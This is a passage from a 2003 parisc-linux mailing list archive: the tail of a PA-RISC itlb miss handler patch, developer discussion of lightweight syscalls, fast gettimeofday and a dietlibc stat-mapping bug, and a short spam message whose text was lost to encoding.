+	/* Running parallel, taken from below 'zdep0' */
+	zdep            spc,30,15,prot  /* create prot id from space */
+
 	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,itlb_fault
 
 	/* Check whether the "accessed" bit was set, otherwise do so */
@@ -1559,7 +1562,7 @@ itlb_miss_common_11:
 	and,<>		t1,pte,%r0	/* test and nullify if already set */
 	stw		t0,0(ptp)	/* write back pte */
 
-	zdep            spc,30,15,prot  /* create prot id from space */
+	/* zdep0 moved back */
 	dep             pte,8,7,prot    /* add in prot bits from pte */
 
 	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
@@ -1602,8 +1605,7 @@ itlb_miss_20:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault	/* forward */
 
 	/* First level page table lookup */
 
@@ -1882,6 +1884,15 @@ kernel_bad_space:
 dbit_fault:
 	b               intr_save
 	ldi             20,%r8
+
+itlb_user_fault:
+	/* User tlb missed for other than his own space. Optimization. */
+#ifdef __LP64__
+	cmpb,=		%r0,t0,itlb_miss_common20 /* backward */
+#else
+	cmpb,=		%r0,t0,itlb_miss_common11 /* backward */
+#endif
+	nop
 
 itlb_fault:
 	b               intr_save

--mYCpIKhGyMATD0i+--


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Fri, 25 Jul 2003 12:37:00 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk>
References: <20030725063739.GA13017@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622623 28498 80.91.229.3 (22 Nov 2014 02:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 25 05:37:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3A39482B
	for <parisc-linux@parisc-linux.org>; Fri, 25 Jul 2003 05:37:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19g0se-0006bI-5u; Fri, 25 Jul 2003 12:37:00 +0100
Content-Disposition: inline
In-Reply-To: <20030725063739.GA13017@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19019

On Fri, Jul 25, 2003 at 02:37:40AM -0400, Carlos O'Donell wrote:
> Any thoughts about how one should implement some type of lightweight
> syscall for our glibc to use?

I have lots of thoughts ;-)

> We already have the makings of a simple system for SET_THREAD_SELF (e.g.
> seting cr27, the thread register, from userpsace), and I want to extend
> this to:
> 
> exchange_and_add (volatile uint32_t *mem, int val)
> atomic_add (volatile uint32_t *mem, int val)
> compare_and_swap (volatile long int *p, long int oldval, long int newval)

Sure.  Sounds like a great idea.

> o---> libc 
>  --> exchange_and_add 
>   ==> Params into kernel
>    ==> disable interrupts on the current processor
>     ==> take a semaphore to keep other cpu's out
>     ==> do work 
>     ==> release semaphore
>    ==> reenable i-bit
>   --> back into userspace and done.
> 
> This _must_ be very very fast, and appear atomic to userspace.

I'd say a spinlock rather than a semaphore.  And likely a special-cased
one too.

> Perhaps adding other pages instead of 0xE0 for set_thread_self might be
> the simplest way to do this? The area after the linux gateway page
> perhaps? Which seems to be the start of the next 4k page? Would this be
> possible? e.g. branch to 0x1000 (not 0x100 which is the current syscall
> branch).

I'd say we should keep doing stuff on our existing gateway page until we
exhaust it.  We've got plenty of space -- 248 instruction slots left before
0xE0, and a lot of space left after the syscall handler.

On a related subject, fast gettimeofday is always a popular idea.  I'm not
sure of all the ramifications of, for example, mapping a user-read-only,
system-writable data page after the gateway page (can't put the data
on the existing gateway page; a page that can do privilege promotion
isn't readable/writable).  If we have only one CPU update the data on
that page, time shouldn't go backwards ... right?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Fri, 25 Jul 2003 12:46:15 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk>
References: <20030725070449.GB13017@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622624 28501 80.91.229.3 (22 Nov 2014 02:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 25 05:46:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7405F482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jul 2003 05:46:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19g11b-0006fn-GB; Fri, 25 Jul 2003 12:46:15 +0100
Content-Disposition: inline
In-Reply-To: <20030725070449.GB13017@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19020

On Fri, Jul 25, 2003 at 03:04:50AM -0400, Carlos O'Donell wrote:
> @@ -1882,6 +1884,15 @@ kernel_bad_space:
>  dbit_fault:
>  	b               intr_save
>  	ldi             20,%r8
> +
> +itlb_user_fault:
> +	/* User tlb missed for other than his own space. Optimization. */
> +#ifdef __LP64__
> +	cmpb,=		%r0,t0,itlb_miss_common20 /* backward */
> +#else
> +	cmpb,=		%r0,t0,itlb_miss_common11 /* backward */
> +#endif
> +	nop

can't do that.  we have three sets of routines -- itlb_miss_common_11,
itlb_miss_common_20 and itlb_miss_common_20w.  we select between _20w
or not at compile time (if it's 64-bit, it's PA 2.0 Wide), but select
between _20 and _11 at boot time (fault_vector_20 vs fault_vector_11).

shame on you, you didn't even try assembling it ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chip Salzenberg <chip@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#201873: nfs-kernel-server: can't use nfs ...
Date: Fri, 25 Jul 2003 11:49:23 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030725154923.GR2287@perlsupport.com>
References: <3F1CEEEE000003DF@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622624 28502 80.91.229.3 (22 Nov 2014 02:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, 201873-done@bugs.debian.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 25 09:49:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tandu.perlsupport.com (tandu.perlsupport.com [66.220.6.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64C70482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jul 2003 09:49:45 -0600 (MDT)
Original-Received: from tytlal.hmsonline.com
	([207.43.94.202] helo=tytlal ident=mail)
	by tandu.perlsupport.com with asmtp (Exim 3.35 #1 (Debian))
	id 19g4ou-0005w1-00; Fri, 25 Jul 2003 08:49:24 -0700
Original-Received: from chip by tytlal with local (Exim 3.35 #1 (Debian))
	id 19g4ot-0007GP-00; Fri, 25 Jul 2003 11:49:23 -0400
Content-Disposition: inline
In-Reply-To: <3F1CEEEE000003DF@ocpmta8.freegates.net>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19021

According to Joel Soete:
> dmesg informe me that rpc.mountd do_page_fault() at this very moment

This is almost certainly the use-of-freed-memory bug that many people
suffered from in 1.0.3-1.

I have already uploaded 1.0.5-1, which fixes this bug, so I'm closing
this bug report.  If your problem continues to occur (which I strongly
doubt it will), please submit a new bug.

Thanks for the bug report.
-- 
Chip Salzenberg               - a.k.a. -               <chip@pobox.com>
"I wanted to play hopscotch with the impenetrable mystery of existence,
    but he stepped in a wormhole and had to go in early."  // MST3K


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Bug#200619: gcc: parisc: compiling dietlibc-dev with -Os caus
Date: Fri, 25 Jul 2003 22:21:26 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200307260221.h6Q2LRN3001246__14943.4168976315$1416622624$gmane$org@hiauly1.hia.nrc.ca>
References: <200307250308.h6P38ej6026594@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622624 28504 80.91.229.3 (22 Nov 2014 02:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:04 +0000 (UTC)
Cc: doko@cs.tu-berlin.de, pape-dbnbgs@smarden.org,
	200619@bugs.debian.org, dave.anglin@nrc-cnrc.gc.ca, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 25 20:21:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 611A4482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jul 2003 20:21:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6Q2LSgL001247;
	Fri, 25 Jul 2003 22:21:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6Q2LRN3001246;
	Fri, 25 Jul 2003 22:21:27 -0400 (EDT)
In-Reply-To: <200307250308.h6P38ej6026594@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 24, 2003 11:08:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19022

> This doesn't appear to be a gcc problem.  The register %r3 is saved
> on the stack in __stdio_init_file_nothreads.  The stack location
> is clobbered by the fstat syscall.
> 
> > > +  {
> > > +    struct stat st;
> > > +    fstat(fd,&st);
> 
> At the fstat call we have the following values:
> 
> Breakpoint 11, 0x00010b10 in __stdio_init_file_nothreads ()

Carlos O'Donell and myself looked at this problem this afternoon.  This
is a dietlib problem.  Dietlib is not using the correct kernel_stat
mapping for parisc.  They appear to be using the i386 mapping.  They
need to look at /libc/sysdeps/unix/sysv/linux/xstatconv.c and the
hppa/kernel_stat.h header in glibc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Sat, 26 Jul 2003 13:48:45 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <20030726174845.GF31744@systemhalted>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622625 28511 80.91.229.3 (22 Nov 2014 02:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 26 11:50:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32DF34871
	for <parisc-linux@parisc-linux.org>; Sat, 26 Jul 2003 11:50:40 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19gT9y-00006E-00; Sat, 26 Jul 2003 13:48:46 -0400
Content-Disposition: inline
In-Reply-To: <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19023

> > Any thoughts about how one should implement some type of lightweight
> > syscall for our glibc to use?
> 
> I have lots of thoughts ;-)

Spill the beans!
 
> > o---> libc 
> >  --> exchange_and_add 
> >   ==> Params into kernel
> >    ==> disable interrupts on the current processor
> >     ==> take a semaphore to keep other cpu's out
> >     ==> do work 
> >     ==> release semaphore
> >    ==> reenable i-bit
> >   --> back into userspace and done.
> > 
> > This _must_ be very very fast, and appear atomic to userspace.
> 
> I'd say a spinlock rather than a semaphore.  And likely a special-cased
> one too.

Okay, we talked about this, choose a random 4-bits from the incoming
address and hash this to select one of 16 spinlocks that keep other
cpu's out. This, as you indicated, should scale to more than 4 CPU's and
make LaMont happy.
 
> I'd say we should keep doing stuff on our existing gateway page until we
> exhaust it.  We've got plenty of space -- 248 instruction slots left before
> 0xE0, and a lot of space left after the syscall handler.

I'll see if I can fit _all_ the operations into jumps in that area. If I
can't then I'll see what the performance of implementing "one" operation
in kernel and using that to do the rest atomically.
 
> On a related subject, fast gettimeofday is always a popular idea.  I'm not
> sure of all the ramifications of, for example, mapping a user-read-only,
> system-writable data page after the gateway page (can't put the data
> on the existing gateway page; a page that can do privilege promotion
> isn't readable/writable).  If we have only one CPU update the data on
> that page, time shouldn't go backwards ... right?

If you map the page and make CPU 0 update the date, then I'll write the
userspace interface for gettimeofday.

I'm not sure how we would do the check for 'do we see fast gettimeofday'
but it might be that we include a magic value there and check for it?
Other arches must have solved this.

c.


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Sat, 26 Jul 2003 14:00:32 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20030726180031.GG31744@systemhalted>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622625 28512 80.91.229.3 (22 Nov 2014 02:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 26 12:02:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A1164871
	for <parisc-linux@parisc-linux.org>; Sat, 26 Jul 2003 12:02:18 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19gTLM-0000NH-00; Sat, 26 Jul 2003 14:00:32 -0400
Content-Disposition: inline
In-Reply-To: <20030726174845.GF31744@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19024

> 
> If you map the page and make CPU 0 update the date, then I'll write the
> userspace interface for gettimeofday.
> 
> I'm not sure how we would do the check for 'do we see fast gettimeofday'
> but it might be that we include a magic value there and check for it?
> Other arches must have solved this.

Talked to Rik Van Riel about fast gettimeofday and he indicated that
it's not doable since you can't guarantee your process will get
scheduled on another CPU whose clock is out of sync by more than X and
get negative time. Though I imagine you were talking about having one
CPU update one page with time on it... and then other CPU's read this?
LaMont notes that there is no requirement from the PA design that CPU's
clock at _exactly_ the same frequency or have monotonically incrementing
clocks at the right rate. Could you explain the idea you have a bit
more?

c.


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Sat, 26 Jul 2003 14:02:29 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20030726180229.GH31744@systemhalted>
References: <20030725070449.GB13017@systemhalted> <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622625 28516 80.91.229.3 (22 Nov 2014 02:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 26 12:04:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A25F4871
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Jul 2003 12:04:16 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19gTNG-0000Nj-00; Sat, 26 Jul 2003 14:02:30 -0400
Content-Disposition: inline
In-Reply-To: <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19025

> > @@ -1882,6 +1884,15 @@ kernel_bad_space:
> >  dbit_fault:
> >  	b               intr_save
> >  	ldi             20,%r8
> > +
> > +itlb_user_fault:
> > +	/* User tlb missed for other than his own space. Optimization. */
> > +#ifdef __LP64__
> > +	cmpb,=		%r0,t0,itlb_miss_common20 /* backward */
> > +#else
> > +	cmpb,=		%r0,t0,itlb_miss_common11 /* backward */
> > +#endif
> > +	nop
> 
> can't do that.  we have three sets of routines -- itlb_miss_common_11,
> itlb_miss_common_20 and itlb_miss_common_20w.  we select between _20w
> or not at compile time (if it's 64-bit, it's PA 2.0 Wide), but select
> between _20 and _11 at boot time (fault_vector_20 vs fault_vector_11).
> 
> shame on you, you didn't even try assembling it ;-)

I'll take a look at that and rewrite the patch. It was 3AM when I
finished it and didn't bother to compile it as I passed out on the
bed ;)

c.


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Diaz@adaptec.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new mail            y2BL2IHc
Date: Sun, 27 Jul 2003 00:22:18 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <9L5FB900E454FI15@adaptec.com>
References: <ELFI02KABE5JGLGL@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622626 28519 80.91.229.3 (22 Nov 2014 02:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:06 +0000 (UTC)
To: Parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 26 18:26:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from yandex.ru (pcp01006106pcs.ladson01.sc.comcast.net [68.59.45.147])
	by dsl2.external.hp.com (Postfix) with SMTP id 24DE7483F
	for <parisc-linux@parisc-linux.org>; Sat, 26 Jul 2003 18:26:56 -0600 (MDT)
In-Reply-To: <ELFI02KABE5JGLGL@parisc-linux.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19026

        http://www.mail15.com.   :
1)   15 ;
2)   ;
3)     (POP,IMAP,SMTP);
4)       ;
5)        ;
6)    ;
